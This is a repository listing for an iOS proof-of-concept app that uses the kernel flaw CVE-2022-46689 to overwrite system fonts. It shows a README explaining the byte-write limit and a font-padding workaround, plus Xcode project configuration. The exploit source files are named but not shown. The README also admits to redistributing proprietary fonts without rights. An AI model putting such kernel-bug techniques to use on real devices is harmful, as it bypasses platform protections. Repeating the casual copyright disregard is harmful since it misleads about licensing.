├── .clang-format ├── .gitignore ├── README.md ├── WDBFontOverwrite.xcodeproj ├── project.pbxproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ └── xcshareddata │ │ └── IDEWorkspaceChecks.plist └── xcuserdata │ └── zhuowei.xcuserdatad │ └── xcschemes │ └── xcschememanagement.plist ├── WDBFontOverwrite ├── Assets.xcassets │ ├── AccentColor.colorset │ │ └── Contents.json │ ├── AppIcon.appiconset │ │ ├── 1024 1.png │ │ ├── 1024.png │ │ ├── 114.png │ │ ├── 120 1.png │ │ ├── 120.png │ │ ├── 180.png │ │ ├── 29.png │ │ ├── 40.png │ │ ├── 57.png │ │ ├── 58.png │ │ ├── 60.png │ │ ├── 80.png │ │ ├── 87.png │ │ └── Contents.json │ └── Contents.json ├── BrotliPadding.swift ├── FontMap.swift ├── Info.plist ├── MainInterface │ ├── ActionButtons.ViewModel.swift │ ├── ActionButtons.swift │ ├── AlignedRowContentView.swift │ ├── CustomFontsScene.ViewModel.swift │ ├── CustomFontsScene.swift │ ├── ExplanationView.swift │ ├── FileEditor │ │ ├── FileEditorView.ViewModel.swift │ │ └── FileEditorView.swift │ ├── FontDiscovery │ │ ├── FontDiscoveryCard.ViewModel.swift │ │ ├── FontDiscoveryCard.swift │ │ ├── FontDiscoveryScene.ViewModel.swift │ │ └── FontDiscoveryScene.swift │ ├── NoticeView.swift │ ├── PresetFontsScene.ViewModel.swift │ └── PresetFontsScene.swift ├── OverwriteFontImpl.swift ├── Preview Content │ └── Preview Assets.xcassets │ │ └── Contents.json ├── PreviewFonts │ ├── Chococooky.ttf │ ├── Comic Sans MS.ttf │ ├── DejaVuSansCondensed.ttf │ ├── DejaVuSansMono.ttf │ ├── DejaVuSerif.ttf │ ├── FiraSans-Regular.ttf │ ├── Go-Mono.ttf │ ├── Go-Regular.ttf │ └── segoeui.ttf ├── Progress │ └── ProgressManager.swift ├── RepackedFonts │ ├── Chococooky.woff2 │ ├── Comic Sans MS.woff2 │ ├── DejaVuSansCondensed.woff2 │ ├── DejaVuSansMono.woff2 │ ├── DejaVuSerif.woff2 │ ├── FiraSans-Regular.2048.woff2 │ ├── Go-Mono.woff2 │ ├── Go-Regular.woff2 │ └── segoeui.woff2 ├── WDBFontOverwrite-Bridging-Header.h ├── WDBFontOverwriteApp.swift ├── WDBImportCustomFontPickerViewControllerDelegate.swift ├── _UIKeyboardCache.h ├── _UIKeyboardCache.m ├── grant_full_disk_access.h ├── grant_full_disk_access.m ├── helpers.h ├── helpers.m ├── vm_unaligned_copy_switch_race.c └── vm_unaligned_copy_switch_race.h ├── build_woff2.sh └── repackfonts ├── BrotliPadding.swift ├── make_noto_serif_sc.sh └── make_woff2src.sh /.clang-format: -------------------------------------------------------------------------------- 1 | BasedOnStyle: Google 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | xcuserdata 2 | .DS_Store 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Proof-of-concept app to overwrite fonts on iOS using [CVE-2022-46689](https://support.apple.com/en-us/HT213530). 2 | 3 | Works on iOS 16.1.2 and below (tested on iOS 16.1) on unjailbroken devices. 4 | 5 | IPA available in the [Releases](https://github.com/ginsudev/WDBFontOverwrite/releases) section. 6 | 7 | Fonts included: 8 | 9 | - DejaVu Sans Condensed 10 | - DejaVu Serif 11 | - DejaVu Sans Mono 12 | - Go Regular 13 | - Go Mono 14 | - Fira Sans 15 | - Segoe UI 16 | - Comic Sans MS 17 | - Choco Cooky 18 | 19 | You can also import custom fonts that were ported for iOS. 20 | 21 | ## Screenshots 22 | 23 | DejaVu Sans Condensed | DejaVu Serif | DejaVu Sans Mono | Choco Cooky 24 | 25 | ![Screenshot](https://user-images.githubusercontent.com/704768/209511898-a1477b66-28e4-471a-87d9-36c1c2eb25ca.png) 26 | 27 | Go Regular | Go Mono | Segoe UI | Comic Sans MS 28 | 29 | ![Another screenshot](https://user-images.githubusercontent.com/704768/209606970-a382c273-bdcb-425c-bca1-1b6f9b31862f.png) 30 | 31 | Hanna Soft + JoyPixels | Bronkoh | Noto Serif SC | Fira Sans 32 | 33 | ![Another screenshot](https://user-images.githubusercontent.com/704768/209753262-b8204c92-b873-41a7-8127-38bf86096470.png) 34 | 35 | Screenshot credit: [@ev_ynw](https://twitter.com/ev_ynw) for the ported [Hanna Soft](https://app.box.com/s/g4uk1yyqxm36sl9ovbwkpbbpn9isol8h/file/997004671334) and [Bronkoh](https://app.box.com/s/g4uk1yyqxm36sl9ovbwkpbbpn9isol8h/file/915757902297) fonts, [JoyPixels](https://joypixels.com/download) for the emoji font 36 | 37 | ## Where to find ported fonts 38 | 39 | - [@ev_ynw](https://twitter.com/ev_ynw) 40 | - [@PoomSmart](https://github.com/PoomSmart/EmojiFonts/releases) 41 | 42 | ## Known issues 43 | 44 | - The built-in fonts are not properly ported (I don't know how to port fonts). For best results, use a custom font. 45 | - with the built-in fonts: 46 | - Only regular text uses the changed font: thin/medium/bold text falls back to Helvetica instead. 47 | - If the font doesn't show up at all, [disable "Bold Text"](https://twitter.com/m7mdabu7assan/status/1607609484901289985) in accessibility settings. 48 | - File pickers in apps will fail to open with the error "Something went wrong while displaying documents." 49 | - This happens if you replace the emoji font, or install fonts with [multiple weights](https://twitter.com/Gu3hi/status/1607986473198026752) 50 | - Try the experimental .ttc fix by using "Import custom with fix for .ttc" 51 | - iOS 14.x devices which are jailbroken / were jailbroken before will not be able to revert to the original font. 52 | - Workaround: do not use this app if you're on iOS 14.x and have previously jailbroken. Instead, just jailbreak and replace fonts normally. 53 | 54 | ## Font conversion 55 | 56 | The CVE-2022-46689 issue - as far as I know - only lets you overwrite 16383 bytes out of every 16384 bytes: the last byte of the page can't be written. 57 | 58 | (I could be wrong) 59 | 60 | To work around this, I package the font using the [WOFF2](https://www.w3.org/TR/WOFF2/) webfont format, which is [supported on iOS](https://twitter.com/myunderpants/status/1503745380365877252). WOFF2 uses [Brotli](https://datatracker.ietf.org/doc/html/rfc7932) for compression, which lets me insert padding to skip over the last byte. 61 | 62 | See `repackfonts/make_woff2src.sh` for details: this script: 63 | 64 | - renames the font to .SFUI-Regular with [TTX](https://github.com/fonttools/fonttools) following [this answer](https://superuser.com/a/694452) 65 | - rebuilds the font to .woff2 66 | - runs `repackfonts/BrotliPadding.swift` to decompress the WOFF2 file and insert padding to skip past the 16384th byte 67 | 68 | 69 | ## Credits 70 | 71 | - Ian Beer of [Project Zero](https://googleprojectzero.blogspot.com) for finding CVE-2022-46689. 72 | - Apple for the [test case](https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c) and [patch](https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/osfmk/vm/vm_map.c#L10150). (I didn't change anything: I only wrapped the test case in a library.) 73 | - Everyone on Twitter who helped out and experimented with CVE-2022-46689, especially [@dedbeddedbed](https://twitter.com/dedbeddedbed), [@AppleDry05](https://twitter.com/AppleDry05), and [@haxi0sm](https://twitter.com/haxi0sm) for exploring what can be done with this issue.. 74 | - [WOFF2 compressor](https://github.com/google/woff2) by Google 75 | - [ttcpad](https://github.com/LIJI32/ttcpad) by LIJI32 76 | - [Fontforge stripttc](https://github.com/fontforge/fontforge/blob/master/contrib/fonttools/stripttc.c) 77 | - The [DejaVu fonts](https://dejavu-fonts.github.io) are distributed according to their [license](https://dejavu-fonts.github.io/License.html). 78 | - The [Go fonts](https://go.dev/blog/go-fonts) are distributed according to their license. 79 | - The [Fira Sans](https://mozilla.github.io/Fira/) font is converted by [@jonpalmisc](https://twitter.com/jonpalmisc/status/1607570871421468678) - thanks! 80 | - Segoe UI and Comic Sans MS are the property of Microsoft. 81 | - Choco Cooky is the property of Samsung. 82 | - I don't have any rights to redistribute these, but I'm posting them anyways because #yolo. 83 | -------------------------------------------------------------------------------- /WDBFontOverwrite.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 56; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | 4F085E392994EF2F004099C1 /* ActionButtons.ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4F085E382994EF2F004099C1 /* ActionButtons.ViewModel.swift */; }; 11 | 4F4E64A7295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4F4E64A6295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift */; }; 12 | 4FD690952986367C00B751B2 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 4FD690942986367C00B751B2 /* grant_full_disk_access.m */; }; 13 | 4FD690992986395B00B751B2 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 4FD690982986395B00B751B2 /* helpers.m */; }; 14 | 4FE5EF312963E460003384EC /* NoticeView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF302963E460003384EC /* NoticeView.swift */; }; 15 | 4FE5EF3329640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF3229640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift */; }; 16 | 4FE5EF3529653188003384EC /* FontMap.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF3429653188003384EC /* FontMap.swift */; }; 17 | 4FE5EF38296561A5003384EC /* FileEditorView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF37296561A5003384EC /* FileEditorView.swift */; }; 18 | 4FE5EF3A296561B2003384EC /* FileEditorView.ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF39296561B2003384EC /* FileEditorView.ViewModel.swift */; }; 19 | 4FE5EF3E29664537003384EC /* ProgressManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF3D29664537003384EC /* ProgressManager.swift */; }; 20 | 4FE5EF4129668C9C003384EC /* AlignedRowContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF4029668C9C003384EC /* AlignedRowContentView.swift */; }; 21 | 4FE5EF452966AD87003384EC /* FontDiscoveryScene.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF442966AD87003384EC /* FontDiscoveryScene.swift */; }; 22 | 4FE5EF472966AD98003384EC /* FontDiscoveryScene.ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF462966AD98003384EC /* FontDiscoveryScene.ViewModel.swift */; }; 23 | 4FE5EF492966AE1A003384EC /* FontDiscoveryCard.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF482966AE1A003384EC /* FontDiscoveryCard.swift */; }; 24 | 4FE5EF4B2966AE72003384EC /* FontDiscoveryCard.ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF4A2966AE72003384EC /* FontDiscoveryCard.ViewModel.swift */; }; 25 | 4FF28A0E2967955400143640 /* PresetFontsScene.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A0D2967955400143640 /* PresetFontsScene.swift */; }; 26 | 4FF28A102967956300143640 /* PresetFontsScene.ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A0F2967956300143640 /* PresetFontsScene.ViewModel.swift */; }; 27 | 4FF28A1229679EEC00143640 /* ExplanationView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A1129679EEC00143640 /* ExplanationView.swift */; }; 28 | 4FF28A142967AA2D00143640 /* ActionButtons.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A132967AA2D00143640 /* ActionButtons.swift */; }; 29 | 4FF28A162967B77800143640 /* _UIKeyboardCache.m in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A152967B77800143640 /* _UIKeyboardCache.m */; }; 30 | C55CF776295BA9B1000DE71C /* BrotliPadding.swift in Sources */ = {isa = PBXBuildFile; fileRef = C55CF775295BA9B1000DE71C /* BrotliPadding.swift */; }; 31 | C5A95F46295964AE00C58FDB /* PreviewFonts in Resources */ = {isa = PBXBuildFile; fileRef = C5A95F45295964AE00C58FDB /* PreviewFonts */; }; 32 | C5C9A7932959261000466D87 /* WDBFontOverwriteApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = C5C9A7922959261000466D87 /* WDBFontOverwriteApp.swift */; }; 33 | C5C9A7952959261000466D87 /* CustomFontsScene.swift in Sources */ = {isa = PBXBuildFile; fileRef = C5C9A7942959261000466D87 /* CustomFontsScene.swift */; }; 34 | C5C9A7972959261200466D87 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = C5C9A7962959261200466D87 /* Assets.xcassets */; }; 35 | C5C9A79A2959261200466D87 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = C5C9A7992959261200466D87 /* Preview Assets.xcassets */; }; 36 | C5C9A7A12959263A00466D87 /* OverwriteFontImpl.swift in Sources */ = {isa = PBXBuildFile; fileRef = C5C9A7A02959263A00466D87 /* OverwriteFontImpl.swift */; }; 37 | C5C9A7A32959341600466D87 /* RepackedFonts in Resources */ = {isa = PBXBuildFile; fileRef = C5C9A7A22959341600466D87 /* RepackedFonts */; }; 38 | C5C9A7AA2959417100466D87 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = C5C9A7A92959417100466D87 /* vm_unaligned_copy_switch_race.c */; }; 39 | /* End PBXBuildFile section */ 40 | 41 | /* Begin PBXFileReference section */ 42 | 4F085E382994EF2F004099C1 /* ActionButtons.ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ActionButtons.ViewModel.swift; sourceTree = ""; }; 43 | 4F4E64A6295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CustomFontsScene.ViewModel.swift; sourceTree = ""; }; 44 | 4FD690942986367C00B751B2 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; 45 | 4FD69096298637D400B751B2 /* grant_full_disk_access.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; 46 | 4FD690972986394200B751B2 /* helpers.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; 47 | 4FD690982986395B00B751B2 /* helpers.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; 48 | 4FE5EF302963E460003384EC /* NoticeView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NoticeView.swift; sourceTree = ""; }; 49 | 4FE5EF3229640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WDBImportCustomFontPickerViewControllerDelegate.swift; sourceTree = ""; }; 50 | 4FE5EF3429653188003384EC /* FontMap.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontMap.swift; sourceTree = ""; }; 51 | 4FE5EF37296561A5003384EC /* FileEditorView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FileEditorView.swift; sourceTree = ""; }; 52 | 4FE5EF39296561B2003384EC /* FileEditorView.ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FileEditorView.ViewModel.swift; sourceTree = ""; }; 53 | 4FE5EF3D29664537003384EC /* ProgressManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ProgressManager.swift; sourceTree = ""; }; 54 | 4FE5EF4029668C9C003384EC /* AlignedRowContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AlignedRowContentView.swift; sourceTree = ""; }; 55 | 4FE5EF442966AD87003384EC /* FontDiscoveryScene.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontDiscoveryScene.swift; sourceTree = ""; }; 56 | 4FE5EF462966AD98003384EC /* FontDiscoveryScene.ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontDiscoveryScene.ViewModel.swift; sourceTree = ""; }; 57 | 4FE5EF482966AE1A003384EC /* FontDiscoveryCard.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontDiscoveryCard.swift; sourceTree = ""; }; 58 | 4FE5EF4A2966AE72003384EC /* FontDiscoveryCard.ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontDiscoveryCard.ViewModel.swift; sourceTree = ""; }; 59 | 4FF28A0D2967955400143640 /* PresetFontsScene.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PresetFontsScene.swift; sourceTree = ""; }; 60 | 4FF28A0F2967956300143640 /* PresetFontsScene.ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PresetFontsScene.ViewModel.swift; sourceTree = ""; }; 61 | 4FF28A1129679EEC00143640 /* ExplanationView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ExplanationView.swift; sourceTree = ""; }; 62 | 4FF28A132967AA2D00143640 /* ActionButtons.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ActionButtons.swift; sourceTree = ""; }; 63 | 4FF28A152967B77800143640 /* _UIKeyboardCache.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = _UIKeyboardCache.m; sourceTree = ""; }; 64 | 4FF28A172967B78600143640 /* _UIKeyboardCache.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = _UIKeyboardCache.h; sourceTree = ""; }; 65 | C55CF775295BA9B1000DE71C /* BrotliPadding.swift */ = {isa = PBXFileReference; fileEncoding = 4; indentWidth = 4; lastKnownFileType = sourcecode.swift; path = BrotliPadding.swift; sourceTree = ""; tabWidth = 4; usesTabs = 0; }; 66 | C5A95F45295964AE00C58FDB /* PreviewFonts */ = {isa = PBXFileReference; lastKnownFileType = folder; path = PreviewFonts; sourceTree = ""; }; 67 | C5C9A78F2959261000466D87 /* WDBFontOverwrite.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = WDBFontOverwrite.app; sourceTree = BUILT_PRODUCTS_DIR; }; 68 | C5C9A7922959261000466D87 /* WDBFontOverwriteApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WDBFontOverwriteApp.swift; sourceTree = ""; }; 69 | C5C9A7942959261000466D87 /* CustomFontsScene.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CustomFontsScene.swift; sourceTree = ""; }; 70 | C5C9A7962959261200466D87 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 71 | C5C9A7992959261200466D87 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = ""; }; 72 | C5C9A7A02959263A00466D87 /* OverwriteFontImpl.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OverwriteFontImpl.swift; sourceTree = ""; }; 73 | C5C9A7A22959341600466D87 /* RepackedFonts */ = {isa = PBXFileReference; lastKnownFileType = folder; path = RepackedFonts; sourceTree = ""; }; 74 | C5C9A7A72959351A00466D87 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist; path = Info.plist; sourceTree = ""; }; 75 | C5C9A7A82959417100466D87 /* WDBFontOverwrite-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "WDBFontOverwrite-Bridging-Header.h"; sourceTree = ""; }; 76 | C5C9A7A92959417100466D87 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; }; 77 | C5C9A7AB2959438600466D87 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; }; 78 | /* End PBXFileReference section */ 79 | 80 | /* Begin PBXFrameworksBuildPhase section */ 81 | C5C9A78C2959261000466D87 /* Frameworks */ = { 82 | isa = PBXFrameworksBuildPhase; 83 | buildActionMask = 2147483647; 84 | files = ( 85 | ); 86 | runOnlyForDeploymentPostprocessing = 0; 87 | }; 88 | /* End PBXFrameworksBuildPhase section */ 89 | 90 | /* Begin PBXGroup section */ 91 | 4FE5EF362965617D003384EC /* FileEditor */ = { 92 | isa = PBXGroup; 93 | children = ( 94 | 4FE5EF37296561A5003384EC /* FileEditorView.swift */, 95 | 4FE5EF39296561B2003384EC /* FileEditorView.ViewModel.swift */, 96 | ); 97 | path = FileEditor; 98 | sourceTree = ""; 99 | }; 100 | 4FE5EF3C2966452A003384EC /* Progress */ = { 101 | isa = PBXGroup; 102 | children = ( 103 | 4FE5EF3D29664537003384EC /* ProgressManager.swift */, 104 | ); 105 | path = Progress; 106 | sourceTree = ""; 107 | }; 108 | 4FE5EF3F29668BF2003384EC /* MainInterface */ = { 109 | isa = PBXGroup; 110 | children = ( 111 | 4FE5EF432966AD68003384EC /* FontDiscovery */, 112 | 4FE5EF362965617D003384EC /* FileEditor */, 113 | 4FE5EF4029668C9C003384EC /* AlignedRowContentView.swift */, 114 | C5C9A7942959261000466D87 /* CustomFontsScene.swift */, 115 | 4F4E64A6295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift */, 116 | 4FF28A0D2967955400143640 /* PresetFontsScene.swift */, 117 | 4FF28A0F2967956300143640 /* PresetFontsScene.ViewModel.swift */, 118 | 4FE5EF302963E460003384EC /* NoticeView.swift */, 119 | 4FF28A1129679EEC00143640 /* ExplanationView.swift */, 120 | 4FF28A132967AA2D00143640 /* ActionButtons.swift */, 121 | 4F085E382994EF2F004099C1 /* ActionButtons.ViewModel.swift */, 122 | ); 123 | path = MainInterface; 124 | sourceTree = ""; 125 | }; 126 | 4FE5EF432966AD68003384EC /* FontDiscovery */ = { 127 | isa = PBXGroup; 128 | children = ( 129 | 4FE5EF442966AD87003384EC /* FontDiscoveryScene.swift */, 130 | 4FE5EF462966AD98003384EC /* FontDiscoveryScene.ViewModel.swift */, 131 | 4FE5EF482966AE1A003384EC /* FontDiscoveryCard.swift */, 132 | 4FE5EF4A2966AE72003384EC /* FontDiscoveryCard.ViewModel.swift */, 133 | ); 134 | path = FontDiscovery; 135 | sourceTree = ""; 136 | }; 137 | C55CF777295BAF42000DE71C /* Frameworks */ = { 138 | isa = PBXGroup; 139 | children = ( 140 | ); 141 | name = Frameworks; 142 | sourceTree = ""; 143 | }; 144 | C5C9A7862959261000466D87 = { 145 | isa = PBXGroup; 146 | children = ( 147 | C5C9A7912959261000466D87 /* WDBFontOverwrite */, 148 | C5C9A7902959261000466D87 /* Products */, 149 | C55CF777295BAF42000DE71C /* Frameworks */, 150 | ); 151 | sourceTree = ""; 152 | }; 153 | C5C9A7902959261000466D87 /* Products */ = { 154 | isa = PBXGroup; 155 | children = ( 156 | C5C9A78F2959261000466D87 /* WDBFontOverwrite.app */, 157 | ); 158 | name = Products; 159 | sourceTree = ""; 160 | }; 161 | C5C9A7912959261000466D87 /* WDBFontOverwrite */ = { 162 | isa = PBXGroup; 163 | children = ( 164 | C5C9A7A72959351A00466D87 /* Info.plist */, 165 | C5A95F45295964AE00C58FDB /* PreviewFonts */, 166 | C5C9A7A22959341600466D87 /* RepackedFonts */, 167 | 4FE5EF3F29668BF2003384EC /* MainInterface */, 168 | 4FE5EF3C2966452A003384EC /* Progress */, 169 | C55CF775295BA9B1000DE71C /* BrotliPadding.swift */, 170 | 4FE5EF3429653188003384EC /* FontMap.swift */, 171 | C5C9A7A02959263A00466D87 /* OverwriteFontImpl.swift */, 172 | C5C9A7922959261000466D87 /* WDBFontOverwriteApp.swift */, 173 | 4FE5EF3229640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift */, 174 | C5C9A7962959261200466D87 /* Assets.xcassets */, 175 | 4FF28A152967B77800143640 /* _UIKeyboardCache.m */, 176 | 4FF28A172967B78600143640 /* _UIKeyboardCache.h */, 177 | 4FD690942986367C00B751B2 /* grant_full_disk_access.m */, 178 | 4FD69096298637D400B751B2 /* grant_full_disk_access.h */, 179 | 4FD690982986395B00B751B2 /* helpers.m */, 180 | 4FD690972986394200B751B2 /* helpers.h */, 181 | C5C9A7A92959417100466D87 /* vm_unaligned_copy_switch_race.c */, 182 | C5C9A7AB2959438600466D87 /* vm_unaligned_copy_switch_race.h */, 183 | C5C9A7A82959417100466D87 /* WDBFontOverwrite-Bridging-Header.h */, 184 | C5C9A7982959261200466D87 /* Preview Content */, 185 | ); 186 | path = WDBFontOverwrite; 187 | sourceTree = ""; 188 | }; 189 | C5C9A7982959261200466D87 /* Preview Content */ = { 190 | isa = PBXGroup; 191 | children = ( 192 | C5C9A7992959261200466D87 /* Preview Assets.xcassets */, 193 | ); 194 | path = "Preview Content"; 195 | sourceTree = ""; 196 | }; 197 | /* End PBXGroup section */ 198 | 199 | /* Begin PBXNativeTarget section */ 200 | C5C9A78E2959261000466D87 /* WDBFontOverwrite */ = { 201 | isa = PBXNativeTarget; 202 | buildConfigurationList = C5C9A79D2959261200466D87 /* Build configuration list for PBXNativeTarget "WDBFontOverwrite" */; 203 | buildPhases = ( 204 | C5C9A78B2959261000466D87 /* Sources */, 205 | C5C9A78C2959261000466D87 /* Frameworks */, 206 | C5C9A78D2959261000466D87 /* Resources */, 207 | ); 208 | buildRules = ( 209 | ); 210 | dependencies = ( 211 | ); 212 | name = WDBFontOverwrite; 213 | productName = WDBFontOverwrite; 214 | productReference = C5C9A78F2959261000466D87 /* WDBFontOverwrite.app */; 215 | productType = "com.apple.product-type.application"; 216 | }; 217 | /* End PBXNativeTarget section */ 218 | 219 | /* Begin PBXProject section */ 220 | C5C9A7872959261000466D87 /* Project object */ = { 221 | isa = PBXProject; 222 | attributes = { 223 | BuildIndependentTargetsInParallel = 1; 224 | LastSwiftUpdateCheck = 1420; 225 | LastUpgradeCheck = 1420; 226 | TargetAttributes = { 227 | C5C9A78E2959261000466D87 = { 228 | CreatedOnToolsVersion = 14.2; 229 | LastSwiftMigration = 1420; 230 | }; 231 | }; 232 | }; 233 | buildConfigurationList = C5C9A78A2959261000466D87 /* Build configuration list for PBXProject "WDBFontOverwrite" */; 234 | compatibilityVersion = "Xcode 14.0"; 235 | developmentRegion = en; 236 | hasScannedForEncodings = 0; 237 | knownRegions = ( 238 | en, 239 | Base, 240 | ); 241 | mainGroup = C5C9A7862959261000466D87; 242 | productRefGroup = C5C9A7902959261000466D87 /* Products */; 243 | projectDirPath = ""; 244 | projectRoot = ""; 245 | targets = ( 246 | C5C9A78E2959261000466D87 /* WDBFontOverwrite */, 247 | ); 248 | }; 249 | /* End PBXProject section */ 250 | 251 | /* Begin PBXResourcesBuildPhase section */ 252 | C5C9A78D2959261000466D87 /* Resources */ = { 253 | isa = PBXResourcesBuildPhase; 254 | buildActionMask = 2147483647; 255 | files = ( 256 | C5A95F46295964AE00C58FDB /* PreviewFonts in Resources */, 257 | C5C9A79A2959261200466D87 /* Preview Assets.xcassets in Resources */, 258 | C5C9A7A32959341600466D87 /* RepackedFonts in Resources */, 259 | C5C9A7972959261200466D87 /* Assets.xcassets in Resources */, 260 | ); 261 | runOnlyForDeploymentPostprocessing = 0; 262 | }; 263 | /* End PBXResourcesBuildPhase section */ 264 | 265 | /* Begin PBXSourcesBuildPhase section */ 266 | C5C9A78B2959261000466D87 /* Sources */ = { 267 | isa = PBXSourcesBuildPhase; 268 | buildActionMask = 2147483647; 269 | files = ( 270 | 4FE5EF3A296561B2003384EC /* FileEditorView.ViewModel.swift in Sources */, 271 | C5C9A7952959261000466D87 /* CustomFontsScene.swift in Sources */, 272 | 4FF28A0E2967955400143640 /* PresetFontsScene.swift in Sources */, 273 | 4FE5EF4B2966AE72003384EC /* FontDiscoveryCard.ViewModel.swift in Sources */, 274 | C55CF776295BA9B1000DE71C /* BrotliPadding.swift in Sources */, 275 | 4FE5EF3E29664537003384EC /* ProgressManager.swift in Sources */, 276 | 4FE5EF452966AD87003384EC /* FontDiscoveryScene.swift in Sources */, 277 | 4FD690992986395B00B751B2 /* helpers.m in Sources */, 278 | 4FF28A1229679EEC00143640 /* ExplanationView.swift in Sources */, 279 | C5C9A7932959261000466D87 /* WDBFontOverwriteApp.swift in Sources */, 280 | 4FE5EF38296561A5003384EC /* FileEditorView.swift in Sources */, 281 | 4FD690952986367C00B751B2 /* grant_full_disk_access.m in Sources */, 282 | 4FF28A162967B77800143640 /* _UIKeyboardCache.m in Sources */, 283 | 4FE5EF472966AD98003384EC /* FontDiscoveryScene.ViewModel.swift in Sources */, 284 | C5C9A7AA2959417100466D87 /* vm_unaligned_copy_switch_race.c in Sources */, 285 | 4FF28A142967AA2D00143640 /* ActionButtons.swift in Sources */, 286 | 4FE5EF4129668C9C003384EC /* AlignedRowContentView.swift in Sources */, 287 | 4FE5EF492966AE1A003384EC /* FontDiscoveryCard.swift in Sources */, 288 | 4FE5EF3529653188003384EC /* FontMap.swift in Sources */, 289 | 4F085E392994EF2F004099C1 /* ActionButtons.ViewModel.swift in Sources */, 290 | 4FF28A102967956300143640 /* PresetFontsScene.ViewModel.swift in Sources */, 291 | 4FE5EF312963E460003384EC /* NoticeView.swift in Sources */, 292 | 4FE5EF3329640075003384EC /* 